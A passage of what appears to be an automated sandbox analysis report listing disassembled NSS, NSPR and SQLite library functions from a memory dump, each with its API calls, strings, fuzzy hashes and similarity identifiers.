Instruction Fuzzy Hash: 5F514721A0E1568BEB01CA6D84907FEBBF19F52B0CF298176E894E7F41D32D880587A1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C8CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C0D124D,00000001), ref: 6C0C8D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C0D124D,00000001), ref: 6C0C8D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C0D124D,00000001), ref: 6C0C8D73
PR_Unlock.NSS3(?,?,?,?,?,6C0D124D,00000001), ref: 6C0C8D8C

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C0D124D,00000001), ref: 6C0C8DBA

Strings

KRAM, xrefs: 6C0C8CF9
KRAM, xrefs: 6C0C8D3E

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 8649891611a4f39ace09ba27711093763e6acb82e14925adec95e989c2a35e60
Instruction ID: c6f99a27fbed5c3716693a133757ffde55f9c2af407a281649ad80b4c30bd816
Opcode Fuzzy Hash: 8649891611a4f39ace09ba27711093763e6acb82e14925adec95e989c2a35e60
Instruction Fuzzy Hash: F8217EB1B046018FCF04AF78C48466EB7F0FF45308F158A6AD89887701DB34D882CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C184D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C184DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C184DE0

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C184DCB
misuse, xrefs: 6C184DD5
%s at line %d of [%.10s], xrefs: 6C184DDA
API call with %s database connection pointer, xrefs: 6C184DBD
invalid, xrefs: 6C184DB8

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 375a9d3ff2dba4ce3db325e1a067c07879ff5960104f3b5be762788ca418b5bb
Instruction ID: a7af5a6315a4fb630333b65d222dfe41be2c79475ad9518e05a6c45f080c22db
Opcode Fuzzy Hash: 375a9d3ff2dba4ce3db325e1a067c07879ff5960104f3b5be762788ca418b5bb
Instruction Fuzzy Hash: F5F0E915E1A9642BD7009525DD34F8637DD4F3531DF460AA1ED04BBE93DA05A96087C1

Uniqueness

Uniqueness Score: -1.00%

Function 6C184DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C184E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C184E4D

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C184E38
misuse, xrefs: 6C184E42
%s at line %d of [%.10s], xrefs: 6C184E47
API call with %s database connection pointer, xrefs: 6C184E2A
invalid, xrefs: 6C184E25

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 3bd7e0a238d987ef9a92bfbdfe4de52acf2367e423a32b5b608509d2896bea21
Instruction ID: 2de7c8ea9737e4d6dcc6ebc8fa4207ae3f4cd260c784efbd25cea30995768ef0
Opcode Fuzzy Hash: 3bd7e0a238d987ef9a92bfbdfe4de52acf2367e423a32b5b608509d2896bea21
Instruction Fuzzy Hash: 38F02711E4ED282BE6101125DC38FC237CD4B2532EF0944A1EE08B7E92EB0DA97047F1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C0F1444,?,00000001,?,00000000,00000000,?,?,6C0F1444,?,?,00000000,?,?), ref: 6C0F0CB3

Part of subcall function 6C15C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C15C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?,?,6C0F1444,?), ref: 6C0F0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?,?,6C0F1444,?), ref: 6C0F0DEC

Part of subcall function 6C110F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C0B2AF5,?,?,?,?,?,6C0B0A1B,00000000), ref: 6C110F1A
Part of subcall function 6C110F10: malloc.MOZGLUE(00000001), ref: 6C110F30
Part of subcall function 6C110F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C110F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?), ref: 6C0F0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C0F1444,?,00000001,?,00000000), ref: 6C0F0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?), ref: 6C0F0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?,?,6C0F1444,?,?,00000000), ref: 6C0F0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C0F1444,?,00000001,?,00000000,00000000,?), ref: 6C0F0E79

Part of subcall function 6C101560: TlsGetValue.KERNEL32(00000000,?,6C0D0844,?), ref: 6C10157A
Part of subcall function 6C101560: EnterCriticalSection.KERNEL32(?,?,?,6C0D0844,?), ref: 6C10158F
Part of subcall function 6C101560: PR_Unlock.NSS3(?,?,?,?,6C0D0844,?), ref: 6C1015B2

Part of subcall function 6C0CB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C0D1397,00000000,?,6C0CCF93,5B5F5EC0,00000000,?,6C0D1397,?), ref: 6C0CB1CB
Part of subcall function 6C0CB1A0: free.MOZGLUE(5B5F5EC0,?,6C0CCF93,5B5F5EC0,00000000,?,6C0D1397,?), ref: 6C0CB1D2

Part of subcall function 6C0C89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C0C88AE,-00000008), ref: 6C0C8A04
Part of subcall function 6C0C89E0: EnterCriticalSection.KERNEL32(?), ref: 6C0C8A15
Part of subcall function 6C0C89E0: memset.VCRUNTIME140(6C0C88AE,00000000,00000132), ref: 6C0C8A27
Part of subcall function 6C0C89E0: PR_Unlock.NSS3(?), ref: 6C0C8A35

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 738b92ab9511bc1d963220d84e88741aa2244742934c566eb92e1b4fdd551541
Instruction ID: abd1cfdc71992dd312d333609a67bf5ed14eced15604600c0f884c894c46e86f
Opcode Fuzzy Hash: 738b92ab9511bc1d963220d84e88741aa2244742934c566eb92e1b4fdd551541
Instruction Fuzzy Hash: 785192F6E042005FEB009F64DC81BAF37E8AF4521CF550064EC199B712EB31FD5986A2

Uniqueness

Uniqueness Score: -1.00%

Function 6C0F88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C0F88FC

Part of subcall function 6C10BE30: SECOID_FindOID_Util.NSS3(6C0C311B,00000000,?,6C0C311B,?), ref: 6C10BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C0F8913

Part of subcall function 6C110FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C0B87ED,00000800,6C0AEF74,00000000), ref: 6C111000
Part of subcall function 6C110FF0: PR_NewLock.NSS3(?,00000800,6C0AEF74,00000000), ref: 6C111016
Part of subcall function 6C110FF0: PL_InitArenaPool.NSS3(00000000,security,6C0B87ED,00000008,?,00000800,6C0AEF74,00000000), ref: 6C11102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C1DD864,?), ref: 6C0F8947

Part of subcall function 6C10E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C10E245
Part of subcall function 6C10E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C10E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C0F895B
DER_GetInteger_Util.NSS3(?), ref: 6C0F8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C0F8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C0F89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C0F8A12

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 2755e91be737cb8930e8f212527fae61421238ed22adf07a5eb1a4a8e520fdcc
Instruction ID: 801e8ee4835f03e8abc7b784cb9acb4ee3c2d6ec585a0dff8bf36868ca774468
Opcode Fuzzy Hash: 2755e91be737cb8930e8f212527fae61421238ed22adf07a5eb1a4a8e520fdcc
Instruction Fuzzy Hash: C33126B2A1C60052F610522AAC417EE36D59B9231CF28073BDD39D7A81FB25C4D78193

Uniqueness

Uniqueness Score: -1.00%

Function 6C1C0860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C086C

Part of subcall function 6C1C0930: EnterCriticalSection.KERNEL32(?,00000000,?,6C1C0C83), ref: 6C1C094F
Part of subcall function 6C1C0930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C1C0C83), ref: 6C1C0974
Part of subcall function 6C1C0930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C1C0983
Part of subcall function 6C1C0930: _PR_MD_UNLOCK.NSS3(?,?,6C1C0C83), ref: 6C1C099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C0892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C1C798A), ref: 6C1C08AA
free.MOZGLUE(?,00000000,00000000,?,?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C08C7
free.MOZGLUE(?,00000000,00000000,?,?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C08E9
free.MOZGLUE(?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C08EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C1C7AE2,?,?,?,?,?,?,6C1C798A), ref: 6C1C090E

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 4d1c64950bbfbe8e584e0d57fdf2b0df5e17d4a14433229dd644c36e64ca2285
Instruction ID: 82aa261c19695e8d1c2d759eefa14e772812e22a2584b48686d62d7384a06fc6
Opcode Fuzzy Hash: 4d1c64950bbfbe8e584e0d57fdf2b0df5e17d4a14433229dd644c36e64ca2285
Instruction Fuzzy Hash: E91181F5B012804BEB009B58D88A7473778AB61658F180125FE2947A80DF7AE894CBE3

Uniqueness

Uniqueness Score: -1.00%

Function 6C0A2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C0A2D69

Strings

winTruncate2, xrefs: 6C0A2EF8
winTruncate1, xrefs: 6C0A2EBE
winSeekFile, xrefs: 6C0A2E9C
winUnmapfile2, xrefs: 6C0A2F7F
winUnmapfile1, xrefs: 6C0A2F55

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 3b7d74ae81005fcd0d4bb8791b7ea44847d436177788e990b845048a25576fdd
Instruction ID: 7b44c48c68a0df287b8f8c42beb3ba41981084d739253719ebe4fc791ea6d81b
Opcode Fuzzy Hash: 3b7d74ae81005fcd0d4bb8791b7ea44847d436177788e990b845048a25576fdd
Instruction Fuzzy Hash: D5619E71B012049FDB04CFA9D888B6A77F1FB49358F10813DE9199BBD1DB31A846CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C0FAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C0FAB3E,?,?,?), ref: 6C0FAC35

Part of subcall function 6C0DCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C0DCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C0FAB3E,?,?,?), ref: 6C0FAC55

Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C1110F3
Part of subcall function 6C1110C0: EnterCriticalSection.KERNEL32(?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11110C
Part of subcall function 6C1110C0: PL_ArenaAllocate.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111141
Part of subcall function 6C1110C0: PR_Unlock.NSS3(?,?,?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C111182
Part of subcall function 6C1110C0: TlsGetValue.KERNEL32(?,6C0B8802,00000000,00000008,?,6C0AEF74,00000000), ref: 6C11119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C0FAB3E,?,?), ref: 6C0FAC70

Part of subcall function 6C0DE300: TlsGetValue.KERNEL32 ref: 6C0DE33C
Part of subcall function 6C0DE300: EnterCriticalSection.KERNEL32(?), ref: 6C0DE350
Part of subcall function 6C0DE300: PR_Unlock.NSS3(?), ref: 6C0DE5BC
Part of subcall function 6C0DE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C0DE5CA
Part of subcall function 6C0DE300: TlsGetValue.KERNEL32 ref: 6C0DE5F2
Part of subcall function 6C0DE300: EnterCriticalSection.KERNEL32(?), ref: 6C0DE606
Part of subcall function 6C0DE300: PORT_Alloc_Util.NSS3(?), ref: 6C0DE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C0FAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C0FAB3E), ref: 6C0FACD7
PORT_Alloc_Util.NSS3(?), ref: 6C0FAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C0FAD2B

Part of subcall function 6C0DF360: TlsGetValue.KERNEL32(00000000,?,6C0FA904,?), ref: 6C0DF38B
Part of subcall function 6C0DF360: EnterCriticalSection.KERNEL32(?,?,?,6C0FA904,?), ref: 6C0DF3A0
Part of subcall function 6C0DF360: PR_Unlock.NSS3(?,?,?,?,6C0FA904,?), ref: 6C0DF3D3

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 10246d46b2fa22239deab1dfa5ca1c3dba7d029462d0b5e390900d2876a3a13d
Instruction ID: 86bf6761198037d11249fba106d4fb48d07d626ee58f64e536ce77942b1b47d8
Opcode Fuzzy Hash: 10246d46b2fa22239deab1dfa5ca1c3dba7d029462d0b5e390900d2876a3a13d
Instruction Fuzzy Hash: D5310AB1E006055FEB008E658C507AF77F6AF84728F298138EC2957740EB31ED5687E1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B2920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C0B294E

Part of subcall function 6C111820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C0B1D97,?,?), ref: 6C111836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C0B296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C0B2991

Part of subcall function 6C111820: PR_SetError.NSS3(FFFFE005,00000000,?,6C0B1D97,?,?), ref: 6C11184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C0B29AF
PR_Now.NSS3 ref: 6C0B2A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B2A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0B2A79

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 18630ceb687e4e19768bdf98ebe9963c54b76bb08a40e1872305310cf566eb2d
Instruction ID: 8474b3a48fa465e55f5475902603f75aff3bf1fcc377ec922142db6a107bfce6
Opcode Fuzzy Hash: 18630ceb687e4e19768bdf98ebe9963c54b76bb08a40e1872305310cf566eb2d
Instruction Fuzzy Hash: A7418271A093519FC710CF28C840B9FB7E5ABD8754F558A2DF898A3740E731E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C0D8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C0D8C7C

Part of subcall function 6C179DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DC6
Part of subcall function 6C179DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C1C0A27), ref: 6C179DD1
Part of subcall function 6C179DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C179DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0D8CB0
TlsGetValue.KERNEL32 ref: 6C0D8CD1
EnterCriticalSection.KERNEL32(?), ref: 6C0D8CE5
PR_Unlock.NSS3(?), ref: 6C0D8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C0D8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C0D8D93

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c030000_u5e0.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 7e397f083b530a35602caa0b04eba121efdec4c33b1c228cfa397ea25278044a
Instruction ID: 448c3fc0b24d7d81b7b90cf3ebd894f2381b18e25f6660c4a5ea4166bea32569
Opcode Fuzzy Hash: 7e397f083b530a35602caa0b04eba121efdec4c33b1c228cfa397ea25278044a
Instruction Fuzzy Hash: E63122B1A00305AFEB00AF68DC4479AB7F4BF15318F25123AEA1967B90D770B964CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C0C8C1B
EnterCriticalSection.KERNEL32 ref: 6C0C8C34
PL_ArenaAllocate.NSS3 ref: 6C0C8C65
PR_Unlock.NSS3 ref: 6C0C8C9C
PR_Unlock.NSS3 ref: 6C0C8CB6

Part of subcall function 6C15DD70: TlsGetValue.KERNEL32 ref: 6C15DD8C
Part of subcall function 6C15DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C15DDB4

Strings

KRAM, xrefs: 6C0C8C8F

Memory Dump Source

Source File: 00000001.00000002.2165878320.000000006C031000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C030000, based on PE: true

Associated: 00000001.00000002.2165829540.000000006C030000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166026251.000000006C1CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166109114.000000006C20E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166154325.000000006C20F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166178638.000000006C210000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2166207734.000000006C215000.00000002.00000001.01000000.0000000F.sdmpDownload File

